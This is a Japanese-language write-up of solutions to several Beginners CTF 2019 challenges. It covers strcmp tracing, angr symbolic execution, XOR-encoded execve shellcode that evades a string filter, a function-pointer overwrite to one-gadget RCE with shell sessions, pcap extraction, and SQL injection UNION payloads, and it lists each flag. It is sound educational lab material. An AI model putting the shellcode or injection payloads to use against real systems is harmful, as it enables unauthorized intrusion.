Seccompare
コマンドライン引数で文字列を渡して,それが正解かどうかstrcmpで比較してる.よって,ltraceを使えば比較対象であるフラグが求まる.
$ ltrace ./seccompare hoge
strcmp("ctf4b{5tr1ngs_1s_n0t_en0ugh}", "hoge") = -5
puts("wrong"wrong
) = 6
+++ exited (status 0) +++
Leakage
is_correct関数で入力値を1文字ずつチェックしていて,比較対象はenc_flagを1文字取ってきてconvertに入れたもの.また,入力値は34文字でないといけない.convertの中身を読みたくなかったので,convertの直後にブレークポイントを貼って,戻り値が格納されるraxを1文字ずつ観察した.(頭悪い解法っぽい)
ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}
Linear_Operation
is_correct関数で入力値をチェックしている.処理がなかなかに複雑だったのでangrで解いた.
$ python solve.py
WARNING | 2019-05-26 00:24:53,683 | angr.analyses.disassembly_utils | Your verison of capstone does not support MIPS instruction groups.
WARNING | 2019-05-26 00:24:54,344 | angr.factory | factory.path_group() is deprecated! Please use factory.simgr() instead.
Deprecation warning: Use eval_upto(expr, n, cast_to=str) instead of any_n_str
ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}
shellcoder
binshという文字列を使ってはいけないシェルコードコーディング問題.
0x00080000: movabs rbx, 0x38237f7f3e39327f 0x0008000A: movabs rax, 0x5050505050505050 0x00080014: xor rbx, rax 0x00080017: xor esi, esi 0x00080019: push rsi 0x0008001A: push rbx 0x0008001B: push rsp 0x0008001C: pop rdi 0x0008001D: xor rax, rax 0x00080020: mov al, 0x3b 0x00080022: xor edx, edx 0x00080024: syscall syscall
こんな感じでxorでなんとかした.
$ python exploit.py
[*] Checking for new versions of pwntools
To disable this functionality, set the contents of /home/yyy/.pwntools-cache/update to 'never'.
[*] A newer version of pwntools is available on pypi (3.5.0 --> 3.12.2).
Update with: $ pip install -U pwntools
[+] Opening connection to 153.120.129.186 on port 20000: Done
[*] Switching to interactive mode
Are you shellcoder?
$ ls
flag.txt
shellcoder
$ cat flag.txt
ctf4b{Byp4ss_us!ng6_X0R_3nc0de}
$ exit
OneLine
一度0x28分readしてその後 call rax するんだけど,raxはwriteの関数ポインタになっていて,それはreadで読み込む領域に存在しているので上書きが可能.
これと同じ処理が2回走るので,1度目は適当に短い文字列を入れてwriteの関数ポインタを上書きしないようにして,1度目の call rax でwriteの関数ポインタをリークしてlibcのベースアドレスを求める.そして2回目のreadで関数ポインタをone-gadget RCEに書き換えた.one-gadget RCEを探すツールでlibc内を検索したら3つあったんだけど,1つ目では条件が合わずにうまく起動できなかった.
$ python exploit.py
[+] Opening connection to 153.120.129.186 on port 10000: Done
[*] '/home/yyy/ctf/all/Beginners_CTF_2019/pwn/OneLine/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
You can input text here!
>>
0x7fe15586a140
0x7fe15575a000
\x00\x00Once more again!
>>
[*] Switching to interactive mode
$ ls
flag.txt
oneline
$ cat flag.txt
ctf4b{0v3rwr!t3_Func7!on_p0int3r}
$ exit
Dump
与えられたpcap内にフラグを8進数表示したものがあったので,取り出してまずはスペース区切りに整形した.
その後こんな感じのスクリプトを書いて,ファイルに変換した.gzipで圧縮されたものだったので, gunzip -c flag > hoge とかした後に出てきたものが今度はtarでアーカイブされたものだったので, tar xvf hoge をするとフラグが書かれたflag.jpgが取り出せた.

Ramen
SQLiがある. 'or 1=1;# で全件表示できたので, 1' UNION SELECT table_name, null FROM INFORMATION_SCHEMA.COLUMNS; # をしたらflagというテーブルがあるのがわかった.あとは 1' UNION SELECT *, null from flag;# でフラグをみた.
